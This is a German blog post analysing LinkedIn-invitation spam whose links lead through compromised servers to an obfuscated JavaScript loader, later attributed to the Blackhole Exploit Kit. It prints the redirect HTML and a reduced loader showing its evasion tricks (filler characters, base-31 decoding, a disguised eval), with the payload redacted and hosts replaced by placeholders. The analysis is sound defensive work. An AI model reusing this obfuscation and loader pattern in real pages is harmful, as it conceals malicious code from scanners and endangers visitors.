SPAM: LinkedIn Invitaion

Screen Shot LinkedIn Invitation
Hi .. , User sent you an invitation to connect 6 days ago. How would you like to respond?

In den letzten 24 Stunden habe ich zwei Mails mit LinkedIn Einladungen erhalten. Eine hatte den Titel Invitation, die andere New Invitation. SPAM oder HAM war keine Frage, da die Mails an eine Mailinator-Adresse gingen, an die ausschließlich SPAM gesendet wird. Die Links in dem Mails verwiesen auf insgesamt vier kompromittierte Server.

Die Mail hat keine Anhänge, wenn ich vom HTML-Teil absehe. Alle Links in der Mail verschleiern ihr wahres Ziel und haben die Form http://xyz.example.com/YHgGL6/index.html. [1] Der Payload dieser Spam-Mail muss also außerhalb der Mail liegen. Diese Adressen sind nicht das eigentliche Ziel, wie ein kurzer Test zeigt. Sie führen nur eine Stufe näher an die Schadsoftware. Steigen wir in diesem Artikel ein paar Stufen mit – hinauf oder hinunter ist egal.

Erste Stufe: index.html

Ich habe die index-Dateien, soweit sie noch erreichbar waren mit wget heruntergeladen. Diese Dateien haben auf allen Server den gleichen Aufbau.

<html>
<table width="275" border="1" cellpadding="3" bordercolor="#0000FF"><tr><td><div align="center">Connecting to server…</div></td></tr></table></a>
<script type="text/javascript" src="http://192.168.6.66/snodSzFU/js.js"></script>
<script type="text/javascript" src="http://abc1.example.com/hzsbyevC/js.js"></script>
<script type="text/javascript" src="http://xyz2.example.com/RdEgBhP2/js.js"></script>

</html>

Diese einfachen HTML-Dateien lassen sich auf jeder Web-Seite unterbringen. Sie binden drei JavaScript Dateien ein, deren einzige Aufgabe in der Weiterleitung an den nächsten Server besteht.

BTW: Der Verzeichnisname könnte daher rühren, dass sich der Einbrecher das mktemp-Statement unter Unix zu nutze macht.

Zweite Stufe: js.js

In der Datei index.html werden drei JavaScript-Dateien js.js – sicher ist sicher, denn es könnte einer der Server entdeckt und bereinigt worden sein – eingebunden. Die Dateien js.js bestehen nur aus einer Zeile bestehen und leiten den Aufruf über folgenden Befehl auf einen weiteren Server um:

document.location=’http://xyz4.example.com/links/assure_numb_engineers.php‘;

In sechs JavaScript Dateien fand ich nur zwei Server, einer wurde mit Namen angesprochen, einer mit seiner IP-Adresse. Der Server mit der IP-Adresse beantworte meine Anfragen nicht mehr. Dem zweiten Server konnte ich rechtzeitig das Ergebnis des php-Scriptes entlocken. Zur Zeit meldet er jedoch den Fehler 502: Bad Gateway.

Der Abruf von assure_numb_engineers.php liefert eine HTML-Datei mit einem verschleierten JavaScript. Dieses ist wesentlich aufwändiger als die spielerischen Umleitungen. Die Server, dies dieses JavaScript mittels eines php-Script bereitstellen, sind ein schwaches Glied in der Kette. Für die ersten Umleitungen tat es jede Web-Seite. Jetzt ist eine php-fähige Seite gefordert, auch wenn das Ergebnis als statisches HTML geliefert werden könnte.

assure_numb_engineers.php

Der Aufruf des Links des zweiten Servers fördert eine etwa 28 KByte große Datei assure_numb_engineers.php auf meine Festplatte.

Listing

Hier folgt zuerst das Listing. Ich habe das Script auf die für das Verständnis wesentlichen Bestandteile reduziert und mit Zeilenümbrüchen versehen. Die Werte in den Parameter nn=“..“ des zweiten div-Tag habe ich durch zwei Punkte ersetzt.

<html>
<head>
<title>
</title>
</head>
<body>
<div dqa=“asd“>
</div>
<script>
dd=“div“;
asd=function(){
a=a.replace(/[^012a-z3-9]/g,““);
};
ss=String.fromCharCode
</script>

<div
41=“..“ 38=“..“ 63=“..“ 50=“..“ 73=“..“ 84=“..“ 26=“..“ 66=“..“ 77=“..“ 81=“..“
56=“..“ 75=“..“ 55=“..“ 17=“..“ 5=“..“ 70=“..“ 58=“..“ 21=“..“ 1=“..“ 91=“..“ 76=“..“
57=“..“ 19=“..“ 31=“..“ 34=“..“ 45=“..“ 22=“..“ 15=“..“ 52=“..“ 9=“..“ 88=“..“ 27=“..“
10=“..“ 90=“..“ 28=“..“ 65=“..“ 30=“..“ 53=“..“ 67=“..“ 62=“..“ 3=“..“ 54=“..“ 61=“..“
39=“..“ 43=“..“ 89=“..“ 36=“..“ 85=“..“ 42=“..“ 32=“..“ 78=“..“ 0=“..“ 24=“..“ 47=“..“
44=“..“ 23=“..“ 92=“..“ 29=“..“ 87=“..“ 60=“..“ 59=“..“ 49=“..“ 83=“..“ 6=“..“ 46=“..“
74=“..“ 80=“..“ 51=“..“ 40=“..“ 4=“..“ 20=“..“ 13=“..“ 71=“..“ 69=“..“ 8=“..“ 33=“..“
72=“..“ 11=“..“ 82=“..“ 68=“..“ 14=“..“ 35=“..“ 16=“..“ 2=“..“ 64=“..“ 25=“..“ 18=“..“
12=“..“ 48=“..“ 37=“..“ 86=“..“ 79=“..“ 7=“..“>
</div>
<script>
if(020==0x10)a=document.getElementsByTagName(dd)[1];
s=““;
for(i=0;;i++){
if(window.document)r=a.getAttribute(i);
if(r){s=s+r;}else break;
}
a=s;
asd();
s=““;
for(i=0;i<a.length;i+=2){
s+=ss(parseInt(a.substr(i,2),31));
}
c=s;
e=window[“ev“+“a“+“l“]];
try{(„321″.substr+“zxc“)();}catch(gdsgdsg){e(c);}

</script>

</body>
</html>

Analyse des Scriptes

Der Aufbau der Datei ist recht einfach. Kern sind zwei div-Tags und zwei JavaScript Abschnitte. Der Script speichert sein Daten in den Attribute des zweiten div-Tag (blau markiert). Schauen wir uns den zweiten Script Block (rot markiert) an. Hier werden die Parameter des zweiten div-Tag zu einer langen Zeichenkette zusammen gesetzt (erstes for-Statement). Danach werden mit der Funktion asd aus dem ersten Script Block, in der Zeichenkette alle Zeichen, die nicht 0-9 oder a-z sind, entfernt. Diese Verfahren verkürzt den String je nach Anzahl der Füllzeichen.

Durch Einfügen zufälliger Zeichen an beliebigen Stellen ist es unmöglich, eine Signatur für einen Virenscanner auf diese Zeichenkette auszurichten. Ein zweiter Trick erschwert dies nochmals. Dieses Prinzip ließe sich mit weiteren Substitutionen beliebig eskalieren – schlechte Karten für Virenscanner. Dazu kommt noch, dass dies das Ergebnis eines php-Scriptes ist. Ich wette, wenn der Programmierer gut war, wird jede Auslieferung anders ausschauen. Leider bekomme ich keinen zweiten Abruf hin.

Der vorliegende String muss ein weiteres Mal transformiert werden, denn er enthält nur die Zeichen 0-9 und a-z. Mit parseInt liefert JavaScript die passende Funktion frei Haus.

Mit dem nächsten for-Statement werden immer zwei Zeichen zur Basis 31 in eine Dezimalzahl umgewandelt und mit der Funktion fromCharCode, die der Varibalen ss im ersten Script-Block zugewiesen wurde, in ein (UniCode)-Zeichen umgewandelt und zum String c zusammengesetzt. Der String reduziert sich damit auf die Hälfte und wird maximal 13 KByte groß sein.

Werden die Zahlen mit einer anderen Basis kodiert, dann sehen die Parameterwerte des zweiten div-Statement völlig anders aus. Da parseInt einen Radix (Basis) von 36 ermöglicht, gibt es 20 sinnvolle Basen, die mit zwei Zeichen auskommen – 16 bis 36. Dies ist der zweite Trick, der eine automatische Erkennung erschwert. Bei einem Viren-Scan müssten alle Möglichkeiten probiert werden. Ein Ressourcen intensives und nahezu aussichtsloses Unterfangen.

Kommen wir zurück zu unserem Script. Dieser nun erhaltene String c wird schließlich über eine Verschleierung der eval-Funktion (e=window[“ev“+“a“+“l“]];) im catch Teil des try-catch-Statement zur Ausführung gebracht.

Jetzt bleibt nur die Frage: Was macht dieser String c? Dazu habe ich das try-catch Statement durch ein document.write Statement ersetzt. Auf den ersten Blick sucht das Script nach installierten Plugins. Insbesondere Shockwave uind Adobe Acrobat fielen mir auf. Diese Script zu untersuchen nimmt deutlich mehr Zeit in Anspruch, als des Vorspiel. Es könnte den Rechner durchaus direkt angreifen.

Fazit

Über viele Treppen geht es ans Ziel. Die nächste Stufe dürfte über die angezeigte Web-Seite folgen.

Weiß ich nicht. Ich gehe davon aus, das der Inhalt des ersten div-Tags durch die Auswertung ersetzt wird und dann die Seite erscheint. Es könnte aber auch eine Schwachstelle in einem Browser ausgenutzt werden.

Ich weiß, was ich jetzt mache: Ich gehe jetzt ins Bett.

Gute Nacht und vielen Dank für das Interesse

Nachtrag 19. Oktober 2012: Nach einem Tag Arbeit und ein paar Treffer bei der weisen Tante Google, weiß ich, dass dieser Trojaner mit dem Blackhole Exploit Kit konstruiert wurde.

  1. [1]Den wirklichen Name der Server habe ich diesmal durch xyz.example.com ersetzt. Dabei treten auch IP-Adressen auf, für die ich beispielhaft die Adresse 192.168.6.66 genommen habe.

3 Gedanken zu „SPAM: LinkedIn Invitaion“

Schreibe einen Kommentar

Deine E-Mail-Adresse wird nicht veröffentlicht. Erforderliche Felder sind mit * markiert.